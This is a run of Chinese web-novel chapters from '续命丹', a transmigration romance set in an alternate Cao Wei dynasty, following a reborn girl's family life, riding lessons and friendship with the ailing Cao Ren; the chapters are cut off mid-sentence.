他们很清楚,跟着一个聪明懂事的主子,比跟着只会闯祸的主子强万倍。 自那日起,他们主仆三人愈发的有默契,而且他们也感受到了陆萸对他们的好,那是发自内心的好。 至陆弘生辰,当陆萸亲自把画递给陆弘时,最先激动的是陆婠,她一脸不可置信地问:“你如何买到的?我找了许久都没找到。” “我从去年就交了定金,一直等到昨日才拿到,正热乎着呢”陆萸甚是得意。 陆弘小心翼翼的展开画,确认过是真迹后,大悦:“多谢阿萸圆了我的心头之好。” 大兄向来稳重,从未如此情绪外露,看来是真喜欢此画。 陆萸笑回:“阿兄喜欢就好,莫与妹妹客气。” 一旁的陆纯见状酸溜溜的开口:“也不知明年我生辰时,阿萸会不会也给我惊喜。” “阿萸的生辰在你之前,你先去准备礼物吧”陆婠笑着打断。 陆萸的生辰在初夏,一个蝉儿初鸣,绿意盎然的时节,而陆纯的生辰在初秋。 “阿萸想要什么?”两位兄长齐齐出声。 这问题让陆萸一时答不上来,纠结了一瞬,才回:“还是给我红封吧。” 闻之,陆纯啧啧道:“每年都要红封,真俗。” “有了银钱,待我想要什么时可以买呀”陆萸急道。 见妹妹急得脸都红了,陆弘笑道:“莫要打趣阿萸了。” 陆纯笑着去看画,突然“咦”的一声,道:“一竿翁的画怎么多了个小童。” “方才没仔细看,果真有个小童”陆婠也惊奇道。 “这很奇怪?”陆萸有些不解,她对字画之类可真没什么研究。 “一竿翁以往的画无论四季变化,无论山水几何,永远只有一个垂钓者者和一根鱼竿”陆弘解释道。 陆萸心里咯噔了一下,莫不是曹壬被人骗了?小心道:“那或许是现在有晚辈陪他垂钓?” “我也是这样想的,毕竟这画确实是真迹”陆弘爱不释手的看着画回。 陆萸这才松了一口气,真是虚惊一场,一看那曹壬不食烟火的样子,被骗的概率太高了。 大家一起赏过画后,陆萸聊起建业城好吃的点心,陆纯告诉她赵记食肆新出了一种芝麻酥很美味,她便悄悄记下了。 入冬后,陆婠除了习琴棋书画还需抽空苦练女红,每日都非常忙,想要成为合格的南安王世子妃,她只能比任何人都努力。 一个庶出的女孩若是太有野心和斗志,估计也没有哪个嫡母会喜欢,所以陆萸一直咸鱼中。 她除了认真习字练字,其他的都只是随便学学,至于乐器,时至今日她还没选好学什么,终于等至十五这日,她一大清早就偷偷摸摸带着银杏出门了。 今日的建业城下起了雨夹雪,至赵记食肆时,因时辰尚早,店内也没什么顾客。 这个时代和唐宋时期不同,商业经济不是很发达,也就建业这种人口密集的历史重城才能开起一些店铺,但其背后皆是世家的手笔。 如今的世家垄断了一切,世家大族衣食住行皆能自给自足,他们向来以经商为下作,这些商铺能开起来,也只是奔着赚点小钱去的,毕竟没人会嫌钱太多,比如这赵记食肆的后台,据说是江东张氏。 银杏和店小二说明来意后,店小二热情的把芝麻酥端出来,然后当着面边打包边道:“女公子来得正是时候,小食刚刚出炉。” 陆萸想到建初寺离这里还有段距离,担心道:“冷了可会影响口感?” “女公子放心,冷了也不会影响品尝”小二笑着回。 银杏这才把银两递给小二,然后带着纸包离开食肆。 在路上,眼看雨势不见减小,反而似飘起了细雪,银杏担忧道:“若是君期公子没去建初寺,您岂不是白跑一趟?” 陆萸却笑笑:“怎会白跑?那是他没口福,我可以留着自己吃。” 想想食肆的点心比陈记铺子里的还要贵,陆萸就肉疼。 银杏闻言,唯有无奈一笑。 至建初寺,因是十五,寺门大开,哪怕如此寒冷的天气,仍有来来往往的香客,门口早已牛车塞途。 陆府的车夫停下车和前面的人逐一打招呼,那些车夫们看到牛车上銮铃旁明晃晃的陆氏的标记后,不约而同的给她让出了一条道。 在初一十五上香的日子里,身份不够的人家连车都没机会驶得离太初寺太近,这就是等级森严的封建社会,陆萸再一次直观的感受到与新时代之间的差异。 在寺庙的佛像前众生平等,可寺外的世界不是,古刹悠悠,建初寺在袅袅香烟和梵音中散发着佛门特有的庄严和肃穆的气息。 下了车,主仆二人又接着走完数不清的台阶后,才终于到了大殿门口,刚想找个小和尚打听老王妃在何处礼佛,抬首间,便看到了在殿内佛前虔诚参拜的曹壬。 在袅袅檀烟中,佛像慈悲安详,注视着芸芸众生,曹壬那张清俊明媚如纯雪的脸,在香烟缭绕下,虚幻得不似真人。 他明明近在咫尺,却似远在天边,已超脱出万丈红尘,飘渺得像个幻影。 于是,陆萸想要出口喊他的话音被生生压了下来,这样超脱出尘的少年,一切繁华喧嚣都不该属于他。 他拜了多久,陆萸就这样安静的看了多久。 直至江澈自外面进来见到她,惊喜道:“女公子何时至的?怎么不进去?” “我刚至”陆萸笑回。 她随江澈进了内殿,然后在曹壬身旁蒲团上跪下,对着佛像深深三拜后,直起身看着一旁的曹壬,嫣然一笑:“我带了好吃的,你可想尝尝?” “去后院吧”曹壬笑回。 他这一笑,有如开放在佛前的莲花,高洁绚烂,只可远观。 画面太美,陆萸晕晕乎乎地起身随曹壬走出大殿,然后跟着他走向后院,连曹壬在为自己撑伞都没发现。 这是银杏第一次见曹壬,送画的君期公子比之前木槿向她描述的惊艳太多了,见曹壬为陆萸撑伞,她忙打开伞想要追上去。 江澈却笑道:“路面湿滑,莫要着急,有少主在不用担心女公子。” 后院有许多禅房,原也有很多景致,只是如今正值隆冬,入眼皆一派萧败,此时天空飘起了雪沫子,纷纷扬扬的似撒盐一般。 曹壬带着陆萸顺着弯弯曲曲的石子路,找到了一处能古朴的亭子,和之前萧败的景色不同,亭子前竟然有几株开的特别好,那繁花印着白雪,高高洁又美好。 入亭子后,待收好伞,二人于石桌前坐好,陆萸忙献宝似的打开手中纸袋。 芝麻酥还没碎,她笑道:“我也是第一次吃,若不像小二说的那么可口,定要回去把钱退回。” 说着,她小心拿起一块 6. 第六章 惊吓 《续命丹》全本免费阅读 此时此刻,陆萸只觉得脑中嗡嗡作响,轻颤着唇问:“建业可曾更名为建康?” 是了,她一直未曾怀疑这个朝代的一个原因就是建业城,她前世虽然是个理科生,但也是个历史迷,前世西晋灭吴后建业被改名字为建康。 “自吴帝改秣陵为建业,不曾更名”陆弘回。 陆萸想起前世历史上魏晋南北朝上百年的战火纷乱,一时间心中慌了起来,一直以为是架空的朝代,怎么还和乱世扯上关系了? 她极力收敛好情绪,木然笑笑:“还请大兄继续讲学。” 为了让陆萸了解陆氏起源和陆氏现下的情况,陆弘接着讲: 曹丕驾崩后曹睿继位,曹睿没有后嗣所以过继了曹芳为太子,但曹睿没有像陆萸知道的历史那样早逝,而是在一次大病甚至立好遗诏后的第二天突然活过来了。 原历史中曹爽和司马懿成了曹芳的辅政大臣,再后来,司马懿发动高平陵政变,夺了曹魏政权。 但这个朝代却在曹睿立遗诏后出现偏差,偏入了一个平行时空。曹睿当夜明明病逝了,第二天清晨又突然活过来了,对此,陆萸怀疑他可能重生了。 因为他活过来第一件事就是立马销毁遗诏,之前的宫室建造工程也全停了,后宫也甚少再去,一心扑在了政务上,硬生生把司马懿熬死在他前面。 他还悉心栽培了太子曹芳,在原历史上,曹睿只活了三十五岁,可在这个平行时空,他活至五十二岁才驾崩。 曹芳继位后,第一件事就是清算司马家族,司马家的确阴养了三千死士,但没有机会发动高平陵兵变的死士,成了造反的证据。 司马氏一族在曹芳在位期间陨落,这里没有晋西晋,也没有八王之乱,这是一个完全陌生的时代。 曹芳是个明君,在位期间灭了东吴,将三国乱世彻底终结,也就是这场灭吴的战争让曹芳记恨上了陆氏,东吴陆氏誓死抵抗,陆抗的几个儿子几乎战死,只留下陆机和陆云,这点和前世相似。 曹芳统一后,重用吴郡的顾氏、张氏、朱氏,甚至会稽魏氏,却一直不愿意让陆氏子弟入仕途。 陆机留在会稽满腹才华却只能闲散度日,陆云则回到了华亭,默默无闻的度过了余生。 陆机很有才华,被抓去洛阳又被释放回来后一直不曾停止文学创作,他发表诗词歌赋和文人雅士互相唱和,虽未出仕名气却已经传遍南北。 遵四时以叹逝,瞻万物而思纷。 悲落叶于劲秋,喜柔条于芳春。 心懔懔以怀霜,志渺渺而临云。 和原历史不同,没有八王之乱,陆机也不是被司马颖杀害,而是郁郁不得志的病逝在了会稽,也就没有那句出名的“欲闻华亭鹤唳,可复得乎?” 陆萸这一支正是陆机的后人,陆机名声大显,死后他的后人开始得以入仕,一直到陆萸的祖父陆歆这一辈更是出了两位侯爷。 陆歆官拜司空(掌管水利和营建之事),封会稽候,其长子陆烈现任荆州牧,次子陆奂(陆萸的父亲)任丹阳郡太守,陆烈的长子陆萸的大堂兄年仅二十七便于去年上任九卿之一太仆(负责皇帝的车马)之职务。 陆歆还有一位弟弟是个军事天才,几次大败北狄,携两位儿子誓死守卫北疆,两位儿子战死沙场后,他忧伤过度还未回朝领赏赐,就病逝在了路上。 皇帝念其满门忠烈追封他为定北侯,而他留下的唯一幼子陆恭两年前任职颍川郡太守。 如今的陆氏,已经成功跻身大魏的一流世家。 陆萸以为这是个架空的太平盛世,正打算开启幸福美满的咸鱼时光,谁知现实却给了她当头一棒。 只要还是历史上那个曹魏,世家日趋壮大之下,现如今的太平不过是一种假象罢了。 她不敢再继续想下去,唯有竭尽所能地将思绪拉回到课堂上。 陆弘仍在耐心的讲解着族谱,但她只觉得背脊阵阵发凉,哪怕费尽力气集中注意力,仍然听不清他讲的内容。 见陆萸神色异常,陆弘以为她又生病了,关切道:“阿萸可有哪里不适?” 陆萸摇摇头,虽然已经神色恍惚,却仍假装镇定地问:“九品中正制,已有多少年?南安王是景帝的后人吗?” 曹芳驾崩后,其谥号为“景”,世称魏景帝,原历史中曹魏不曾在江东分封诸侯王,这也是陆萸一直以为自己身处架空朝代的原因。 听此一问,陆弘甚是惊讶,虽陆氏不限女子学史或私下讨论政事,但从五岁的女孩口中问出这样的问题,怎么都有些出乎意料。 略作思忖,他回道:“大魏建朝至今一百八十一八年,南安王是陈王的后人,陈王名讳曹植,景帝收复江东后,封陈王之孙为南安王,封地为六安。” 言毕,他一脸严肃的看着陆萸,不想错过她脸上一丝一毫的表情,他没有直接计算陈群提出九品中正制有多少年,是想看看才五岁的陆萸对历史到底有多少认知。 曹魏建朝竟然已有一百八十一年了!!陆萸心中又是一阵惊涛骇浪,她再次忍不住问:“现如今的大魏,是否已经上品无寒门,下品无士族?” 铁打的世家流水的皇帝,皇权或许早已被架空,难怪南安王可以离开封地到建业城建府。 之前因南安王世子曹善几首令人惊艳的佳作,陆纯感叹“真不愧是陈王的后人”,陆萸听到了却没有继续打听。 她此时心绪涌动异常,脑中反复回想着当年闲暇时看的关于魏晋南北朝时期的历史,竹林七贤,八王之乱,北方沦陷,北人衣冠南渡,那上百年间除了乱只有乱。 人如蝼蚁,命如草芥,天地不仁,胡人的铁骑随意践踏北方膏腴之地,烧杀抢掠,那是一段沉痛的历史,也是不敢回首的恐怖历史。 一句“上品无寒门,下品无世族”让陆弘听了大惊失色,妹妹才五岁竟能问出这般犀利的问题? 他太想知道陆萸是如何知道这些的,但见她先是一副惊愕模样,接着惊愕变成仿若大难将至一般的惊恐,圆圆的小脸惨白得令人心疼,太多疑惑最终只换成一声轻叹。 “阿萸还小,天下大事就不用操心了,待你长大了,我慢慢讲与你听。” 陆萸猛地回过神来,看到陆弘仿若洞悉一切的眼神,忙低下头诺诺道:“我是前阵在食肆中听别人谈论才有此一问。” 这话,骗骗陆纯和陆婠或许可以,陆弘却是半字不信,但他没有拆穿。 只是平复下心绪后,安慰道:“今日学了这许多,想必你也累了,先回去休息吧。” 长兄没有追问太多,陆萸心中一松,抬起头勉强扯出一丝笑:“那妹妹便回去慢慢复习了,多谢阿兄赐教。” 陆萸离开后,陆弘一直安静地坐在书房回想着她刚刚那一句话,虽然大魏察举制度的弊端早已显现,甚至有很多寒门弟子对此颇多怨言,但他们断不敢在食肆那种公众场合发表这般言论。 自东汉起,皇权和士族便有一条明显的界限,以年俸六百石的官职为界,六百石以上在皇权范围内,其以下皆由本地士族担任,所以有皇权不下县的说法。 至魏初期,文帝曹丕依赖于世家的力量,听从陈群的建议实施九品中正制,更是将寒门庶 7. 第七章 华亭 《续命丹》全本免费阅读 又休养了几日,陆萸的身体终于恢复,也迎来了一家人出发去华亭的日子。 建业至华亭,山程水程,长亭短亭,一路不曾停歇的赶路,仍用了十日才赶到陆氏祖宅。 未出发前,陆萸对出远门观光赏景很是期待,毕竟这是她到大魏后第一次长途旅行,想要了解这个时代的人文环境就得到处走走看看。 可惜一路上晕船又被马车颠,她早已失了兴致,至华亭时,她已经累得七荤八素,话都说不出来了。 她只记得一路上喝了很多奇奇怪怪的汤药,至华亭第二天也只是晕乎乎的跟着一众陆氏子弟,在陆歆的带领下完成了祭祖活动。 一整天仪式下来,因担心哪个环节出差错,她提心吊胆地紧跟着陆婠,连陆氏宗祠里面供奉的牌位都没看清。 实在没想到这具身体这么差,到华亭竟然水土不服引起腹泻,连日里精神总是恹恹地,连大伯父一家什么时候回的荆州也没留意,甚至连那个传说中文采惊艳洛阳的定远世子九堂叔陆恭也未能看到。 陆恭只得一女,名陆妘,因陆妘身患心疾,陆恭和妻子琅琊诸葛氏对她宝贝的紧,从不让她抛头露面,不是怕被晒就是怕冷到、怕被风吹,出门皆是众仆从环绕。 陆萸之前笃定能咸鱼到老,只因这个时代医疗条件确实差,陆氏在她这一辈的女孩大多早夭,九个女娃,存活下来的竟然只有三人。 陆妘排行第七比陆萸长两岁,这一辈的女娃名字皆带有女,到了排行第九的陆萸,为了好养活,取了萸,茱萸是辟邪的,寓意很好。 听说陆妘也长得美,因为有心疾,陆婠形容那位妹妹是小西施,这观点次兄陆纯也认同。 总之,陆萸与好奇已久的九堂叔一家三口皆没有缘分相见。 连着喝了几日黑药汁,陆萸稍有些精神,魏氏带着她去给祖父陆歆问安,这是她第四次如此近距离向他请安。 陆歆,字文肃,先帝时入太学,与当时只是清河王世子的当今圣上同窗,后先帝无子,过继当今圣上为太子。 而后陆歆官途顺利,从五品谒者仆射一直升迁至一品司空,在弟弟陆骏战死后,出使北狄,与北狄谈成二十年休战合约,而被封会稽候。 对这个具备出色外交天赋的祖父,她既敬仰又惧怕,都说外交官最会常言观色,她很怕被祖父看出芯子已经换了人,因此每次问安,她都尽量装得木纳胆小。 “小九好似又瘦了点”陆歆慈爱的看着陆萸道。 此前他从未主动开口与自己说过话,陆萸受宠若惊,慌忙行了礼,才回:“谢祖父关心,我,我这是长个子了,显瘦。” “小九惧我?”陆歆含笑不解地看着没见过几面的孙女。 致仕后,他一直住在会稽陆氏庄园养花弄草,修身养性,如今的孙辈们甚少有怕他的。 陆萸被他的话吓得连头都不敢抬起,忙解释:“孙女只是病了几天,没力气了。” 陆歆是个人精,岂能看不出眼前的陆萸没说实话,但也不会和孙辈过不去,“哈哈哈”一声大笑后,就让她退下了。 出来后,魏氏向几个子女叮嘱了一番出城事项后,才同意让陆纯带着陆婠和陆萸去观鹤。 华亭县之东,原为一片地僻风清的芦苇沙滩,名为鹤坡,陆逊少时曾在此养鹤,这里浅滩连片,河流密布,气候温湿,颇适宜仙鹤生长,每年秋天至次年二月皆是观鹤的好时节。 之前大伯父一家和兄长们前去观鹤时,陆萸一直生病所以没去,这次陆纯特意带姐妹俩再去一次鹤坡。 鹤鸣九皋,声闻于野。 在远处,便已听到仙鹤的声音。 陆婠道:“你的病才刚好,如今又是深冬,到了哪那里,你坐在车里看看就行。” 陆萸忙点头答应,可真当她看到成群结队在水边散步的仙鹤们绰绰神姿,婷婷仙骨,清霜素羽洁白无瑕,闲庭信步或展翼齐霞。 一瞬间,只觉得当今儒雅,绝代风华,她终归忍不住从车里走了下来? “美吧?每次来华亭观鹤,我所有的烦恼皆可消”陆纯看着眼前的白鹤叹道。 陆婠则边替陆萸收紧斗篷,边道:“你若是被风吹了再生病,阿母定会责罚我。” 千年后繁华热闹的上海松江,如今竟然宛如仙境,静谧又美好。 陆萸只觉恍惚,分不清现实与梦境,这样的景色如果能让曹壬也来欣赏,或许那冬日易复发的救疾也能康复。 她这般想着,不知不觉笑着回:“有仙鹤在,我怎会生病呢?” “真是痴人”陆婠无奈一笑,陪着陆萸信步在沙滩上。 兄妹三人就这样边欣赏仙鹤的舞姿,边聊着有关仙鹤的传说。 直至金乌西沉,有仆妇催促回城,陆萸才依依不舍的坐回了马车里。 回城的路上,道路两旁皆是良田沃土,现至年关,水稻早已收割,高高的稻草垛立在田埂上。 陆萸趴在窗边叹道:“若是夏日能至此,闻稻香阵阵,听蛙声一片,定是一番美景。” “明年夏天,去建业城外看,也是一样的”陆婠笑道。 “若是收稻谷的时候来田里抓蚂蚱也颇有乐趣”陆纯接着道。 兄妹几人正聊着,陆萸看到路旁田埂上为有一农夫正在用芦草编蚂蚱,而一个小男孩在他的身旁期待的看着农夫翻飞的手指。 她眼前一亮,欣喜道:“蚂蚱,阿兄快看。” 刚刚,她突然想到给曹壬备一份什么样的生辰礼了,那就是各种小动物草编。 陆纯也看到了,忙让部曲将牛车停下,然后对陆萸道:“阿萸想要草编?我让他编个给你。” 眼见天快黑了,如今到处闹匪患,陆萸有些害怕,忙摇头:“回城要紧,明日我再来寻他就是。” 说着,她将头伸出车外,大声道:“老伯,你明日能否教我编这草编?” 农夫原只是想孙子编个玩具,谁知华贵的牛车突然停在一旁,正不知所措。此刻又见粉雕玉琢的女娃一脸期盼的看着自己,忙起身行礼后,回道:“贵人不嫌草民手艺粗鄙,是草民的荣幸。” 陆萸很是开心,忙不迭的和农夫约好明日时间后,愉快的回城了。 “你若喜欢,让他编了送来即可,哪里用得着你再跑一趟”陆纯不解道。 “那可不一样,我是想亲手做了送人的”陆萸笑回。 送礼物,重在心意,曹壬那种出身,又岂会缺贵重的礼物,反而是这种民间孩童的玩具更新奇有趣。 陆纯也没问这草编是想送谁,只当她孩子心性,喜欢玩。 第二日,陆纯和陆婠都有事,陆萸独自带着部曲坐着牛车至田埂边花了半天的时间把手艺都学会,还特意选了一大把芦草带回去。 又过了几天,陆奂带着一家人回建业。 回程也没有比去的时候好太多,陆萸被颠得分不清晨昏,从会稽回来后修整了五日才真正完全恢复。 这日清晨,看着初春的太阳,咸鱼陆萸给自己下了两个目标,挣钱和强身健体。 这挣钱的项目她一时还没想好,毕竟年龄太小了,至于强身健体,就是跟着二兄陆纯学骑射。 陆纯自幼喜兵书,这些年苦练骑射为的就是将来能入军营上阵杀敌,所以他结交的好友皆是好武之人,其中有一个朋友名唤朱慎,是丹阳都尉朱成的侄子。 朱成和陆奂一武一文镇守丹阳郡,平日里走的近,朱家适龄子女都送到了陆氏学堂一起进学,朱慎有个妹妹是陆婠的好友。 有朱慎帮忙,小马驹很快找到了,而且连练马场也不用愁,西郊马场平日里是用来驯马的,可以借给陆纯兄妹学骑马。 朱慎对好友妹妹要学骑射这事是抱着怀疑态度的,现下世家公子以雅谈、清逸、审美高尚为主流,穿的衣服除了白几乎都是浅色的,甚者有人模仿北方的世族开始敷粉熏香,女子就更不用说了,吃穿出行那都是怎么精致怎么来。 骑马,又累又晒,马身上这股子难闻的味道也没几个人受得了。 陆婠本来被陆萸说的有些心动,打算先看看再学,后来到马场看了一下午,直接放弃了,这太难了,而且又累又热,从马上下来,一股奇怪的味道,她就放弃了刚起的念头。 陆萸却学的很认真,骑马和游泳一样,是一项真正逃生技能呀,要是世道真乱起来了,骑马逃跑永远是上上选,别说自己练习,连曹壬那个病秧子,若是有机会她也想鼓动了学骑马。 不过陆萸虽然目标坚定,意志力强,但常年体弱的小身板还是吃了很多苦头。 连续几天学下来,大腿内侧都磨出了很多泡,慢慢的,泡泡破了,竟然开始渗血。 银杏边给陆萸上药边劝她放弃,真搞不懂吃穿不愁的女郎为何非要执着于骑射 8. 第八章 习字 《续命丹》全本免费阅读 曹壬小心将蚂蚱拿起,细细观之,欢喜道:“如此礼物,喜爱之至!” “你喜欢便好,也不枉费我练了许久”陆萸边得意的笑着,手上不停歇的又编了一只蝴蝶,一尾锦鲤和一只兔子。 曹壬在一旁细细观察着,忍不住也抽了几根芦草试着编了一下,想不到,才一会,一尾锦鲤便编好了。 陆萸见状,不信的拿起曹壬的鱼,竟然也是活灵活现的,愕然道:“你以前学过?” “不曾。” “那不该呀,我学了一下午,还练习了好久才有今日成效。” 真是人比人气死人,货比货得仍,陆萸正气馁,曹壬又举一反三,编了一匹小马驹,一只小狗。 这下,她真相信天资聪慧、心灵手巧是为何意了。 她心里有些不服输,手上的动作快了起来,好歹数量上不能输了他。 不多时,案几上便摆满了二人编织的各类草编,除了小动物还有小杯子,小帽子,甚至还有装蝈蝈的小笼子。 芦草用完,看着满案几的战果,陆萸看了眼包芦草的红绸布道:“应该找块更大的布才是。” 一旁的木槿听了,忙提醒道:“女郎君,若是再大点,方才在前厅时,两位王妃估计要您打开包裹了。” 一时间,屋内几人不约而同的笑了起来。 礼物送完了,陆萸和曹壬说起了习骑马的事,本意是想让他也去学学,只是如今见他起床过个生辰都如此精神不济、咳嗽连连的样子,便打消了念头。 “要不,你回去床上躺着吧”见曹壬脸色苍白得可怕,陆萸忍不住道。 曹壬虚弱的笑笑:“已经躺了好几天了,难得你来,再坐会。” “日后你若方便,可以让江澈通知我,我就来了” 话甫一出口,陆萸才觉得太过心直口快了,忙挠挠头尴尬一笑道:“我随口说的,你不要当真。” 她想当然的把曹壬当成需要开解的中二少年了,一时间忘了如今的时代。 曹壬还在为陆萸的话发愣,他其实,很高兴听到那句话,之前几次想约小友来玩,却又担心唐突。 为逃避尴尬,陆萸忙起身道:“我还做了一个好玩的玩具,保准你没玩过。” 曹壬回过神来,捂着嘴咳嗽几声后才问:“是什么?” 见他咳得脸色愈发惨白,陆萸也不再卖关子,而是对江澈道:“我去院中玩,你扶君期在门口看看即可,外面冷。” 江澈听了,立马欣喜地拿起斗篷给曹壬细细披上,然后扶着起身向门口走去。 最近连着几日倒春寒,时不时还有蒙蒙细雨,不方便去马场,为了锻炼身体,陆萸想起了幼时玩的毽子。 她和银杏说起的时候,银杏一下就知道了,原来这个时代的小女孩也会踢毽子玩耍。 很快毽子做好了,银杏做的是简单却精致的鸡毛毽子,陆萸昨日已练习了一天,瞬间让她找回了童年的乐趣,今日为了秀一把技能,她特意穿的骑马装。 “君期,看好了,这是毽子,这踢毽子的技能,在这院子中,我说第二估计没人敢说第一”陆萸自信满满道。 曹壬走至门口,扶着门框站定,看到陆萸自木槿手中接过毽子,然后将毽子轻轻往上一抛,毽子快落地的一刹那,她敏捷地用脚一勾,接着又自在地踢了起来,毽子就像一只只牵在她们脚上的小燕子,飞去又飞回。 毽子不停上下翻飞着,她在其间轻轻跳跃着,那姿势像极了一只美丽的蝴蝶在花丛中飞舞。 佛曰:“因果巡回,生亦是死,死亦是生,出离生死,皆以直心。” 他不知死是何种感受,但在这个明媚的春日阳光下,他看到了热烈的生,如冬日积雪遇到了喷薄而出的温泉水,融化时升起腾腾迷雾,温暖且美好。 在这个简单的生辰日,让他早已看淡生死的心,第一次对活下去生出一丝希冀。 陆萸那句:“愿君期,年年有今日,岁岁有今朝!”成了他此生第一次许下的心愿。 半日时间很短,眼看太阳偏西,陆萸和曹壬作别。 曹壬问:“今年上巳,你还去覆舟山吗?” “不去了,那地方无趣的紧”陆萸摇摇头回。 “那,上巳日,你来找我练字吧,我这里有很多字帖。” 练字?陆萸想起之前与他说过自己怎么都写不好,他说过会教她写字,不过想到年轻人都喜欢上巳踏青,她问:“你不去垂钓了?” “那地方我也觉得无趣的紧”曹壬笑回。 闻言,陆萸狡黠一笑:“待你看了我猫爪似的字,定会后悔没去覆舟山。” 陆萸的字写的丑,在陆氏学堂已经不是什么秘密了,大兄陆弘向来以草书和行楷闻名江左,为了妹妹日后不被人笑话,他非常耐心的花了整整两月教她写字,可她没任何长进,现在好似已经放弃了。 想到后世给孩子辅导作业辅导到奔溃的家长,陆萸已经能预想到今年的上巳节,曹壬定会非常难忘。 有了去年上巳那事,这次陆婠非但不提带陆萸去覆舟山的事,连她自己也不去了,为此,陆萸还劝说了她,可她还是坚持要留在府中练字。 陆婠的目标是练一手和先祖平原公(陆机)一样的字体,平原公的《平复帖》在后世也是非常有名的,他善用秃笔、渴笔、侧锋、中锋等多种笔法,使得其书法具有独特的韵味和丰富的变化。 它不只是字帖,还是一件重要的艺术作品,陆机的后人都将平原贴作为练字的标准。 当然,陆萸是个例外,现在大家只要求她的字能让人看懂即可。 陆萸向魏氏请示上巳日要去南安王府看望曹壬时,是以她想送点玩具给久病在床的曹壬解闷为由,练字,她万不敢再提起。 陆纯因一句:“阿萸看起来也不傻呀,怎的写字这般难看”曾被大兄骂,直至后来大兄也不再鞭策她练字,她便知道,自己这根朽木当真不可雕也。 霭霭停云,濛濛时雨,用过午膳,陆萸便带着木槿坐上牛车赶往南安王府。 江澈早已等在门口,甫一见陆萸便笑道:“两位王妃今日出门了,女公子直接去行云院即可。” 这次江澈带陆萸去的是曹壬的书房,他的书房和他的人一样,干净简洁,除了书架和书案,没有任何多余的摆设。 陆萸进屋时,曹壬正在书架上翻找,他指了指大书案旁边稍小一些的书案道:“给你准备的,不知高度是否合适。” 看来对于教写字这事,曹壬是很上心的,陆萸忙欢喜的跪坐在书案前,高低正合适,摸摸被磨得光滑的紫檀桌面,看得出这个书案有些年头了。 曹壬找到一卷书简后,拿着书简到陆萸身旁的苇席上坐下,道:“这书案是当年我启蒙时祖父特意为我打造的,我用它练字一直到十岁。” “你几岁开始启蒙”陆萸问。 “三岁” 闻言,陆萸张着嘴咋舌不已,有这么好的出身,还这么卷,简直不知该夸什么了。 曹壬将书案上的纸抹平后,道:“你先写个字给我看看,我再找找适合你练习的字帖。” 陆萸看了眼大书案上的一堆书简,问:“那些都是字帖?” 曹壬点点头:“也不知哪种合适你,我这里还有一卷启蒙时候用的”说着,他将手中书简打开,接着道:“你照着上面的写写看。” 陆萸忙凑上前看,还好,这只是一份正常的楷书,不是什么草书篆书,好歹还是看得懂的。只是,看到曹壬期待的眼神,她犹豫着摸了摸上好的左伯纸,却迟迟不敢动手。 “这笔,你不喜欢吗?”曹壬见状问。 “不是,我,我正在准备”陆萸尴尬的回。 搓搓手,她拿起方言准备好的毫笔,笔尖舔了舔墨池后,以自认为最好的姿势,下笔了。 一旁的木槿见状,立马扭头看向窗外,女郎君的字,她真是不忍直视呀。 方言和江澈专心致志的看着女公子下笔,那天二人听了陆萸的话,一时对她的字很是好奇,到底是有多差才会让少主后悔不去覆舟山。 曹壬给陆萸练习的是三国钟繇的小楷《宣示帖》,此帖是练习小楷的入门帖,陆萸不是第一次见,陆氏有很多份临摹本。 她刚写完《宣示表》第一句“尚书宣示孙权所求”这一列字,一旁的江澈便忍不住笑出声来。 方言用眼神警告了一下江澈,江澈忙道:“属下还有事,先退下了。”说着,脚步飞快的离去了,想必忍得很痛苦。 陆萸早已习惯了,只紧紧握着笔抬首看着方言:“你若想笑,无须忍着。” 方言听了,摇摇头:“我只是替少主担心而已” 陆萸。。。。。。 好在,曹壬看了字后,虽有一瞬间怔愣,却没有任何嫌弃的表情,而是仔细打量了陆萸握笔的小手,才道:“该是你握笔的姿势及下笔的力度不对。” 陆萸听了,简直如沐春风呀,佛性少年就是不一样,见什么都能波澜不惊,她激动得 9. 第九章 游湖 《续命丹》全本免费阅读 回去的路上,陆萸想了许多,既然曹壬的旧疾现下暂时无人能治好,那她就想尽办法换着花样的弥补他童年失去的乐趣,好歹心理健康可以缓解身体上的病痛。 一旁的木槿心里想着今日君期公子手把手教女郎君写字的画面,虽说女郎君如今还小,但君期公子非女郎君血亲,她不知道该不该提醒主人,但看到陆萸双眼斗志满满的,到嘴边的话咽了下去。 过了几日,天气不再湿冷,陆萸又继续练习起马术。 如今的她可以不用陆纯牵着缰绳,便能自己绕着马场练习了,她无数次庆幸此时的江东已经从胡人那里学来了马镫,不然没有马镫的马,她再有毅力也未必学得好。 这日下午,陆纯在马场旁监督陆萸跑马。见好友朱慎牵着马过来,二人相互见礼后,陆纯喊停了陆萸。 毕竟马场是朱家的,陆萸还未正式向朱慎表达过谢意,她小心的打马至二人面前停下,翻身下马,然后学着男子对着朱慎抱拳道:“朱公将宝地借给我,我却一直未曾拜谢于您,待习好骑术,小女子定亲自为您点茶作谢。” 这是朱慎第一次近距离看陆家小女郎,他迅速在脑中回想了一圈家里那些妹妹,没一个像她的。 她虽身着骑马装,头发也似男子一般束起,却不似五大三粗的儿郎,她的脸圆圆的,婴儿肥还未褪去,两颊漂亮的梨涡,哪怕不笑,看着也非常讨喜。 方才利落的翻身下马,男子的洒脱和女子的柔韧出奇协调的出现在她身上,却又不显得矛盾。 他微微一笑,回礼:“季真(陆纯表字)是我好友,你无需客气,若练马时候有什么需要,你只管提即可。” “多谢朱公子慷慨”陆萸又回礼。 眼前的朱慎,陆萸去年端午在南安王府斗草的时候见过。 大魏每年都有斗百草的习俗,斗草的场地不限制,每年轮流着去各个世家的豪宅举办,因去年南安王一家刚搬来建业,就把斗草的场地选在了那里。 在陆萸以前的认知里,斗草只是斗百草,这里却玩出了更多花样,女子之间斗的是百草的艳丽,然后根据百草名字选主题对对子,男子则有文斗和武斗,文斗是选一株草为题,斗文笔,比诗赋。 武斗是根据草药选马术或箭术,去年选的是箭术,朱慎拿了头筹。 如今民风开放,朱慎那极具爆发力的一箭,射落了多少围观少女的欢呼声,手帕香囊一股脑的从看台扔了下去。 陆萸不再和他客套,重新上马练习去了。 朱慎笑道:“你这妹妹,当真有趣,我之前还以为她坚持不了几天。” “那是,不看是谁的妹妹”陆纯得意道。 四月的天开始炎热,又值正午,阳光直照下来,影子全在脚底下畏热似的缩着,可马场中的女孩一圈一圈的练习着。朱慎想起家里那些每日出门皆要撑伞的妹妹,难道她不怕被晒黑吗? 陆萸强身健体的计划如预期进行着,本还想习箭术,但拉了几次陆纯幼时练习用的弓,竟然纹丝不动,她便放弃了,看来只能专心学一样了。 她现在除了在学堂学习陆氏家学,还得抽空练马术和字,变得非常忙碌。 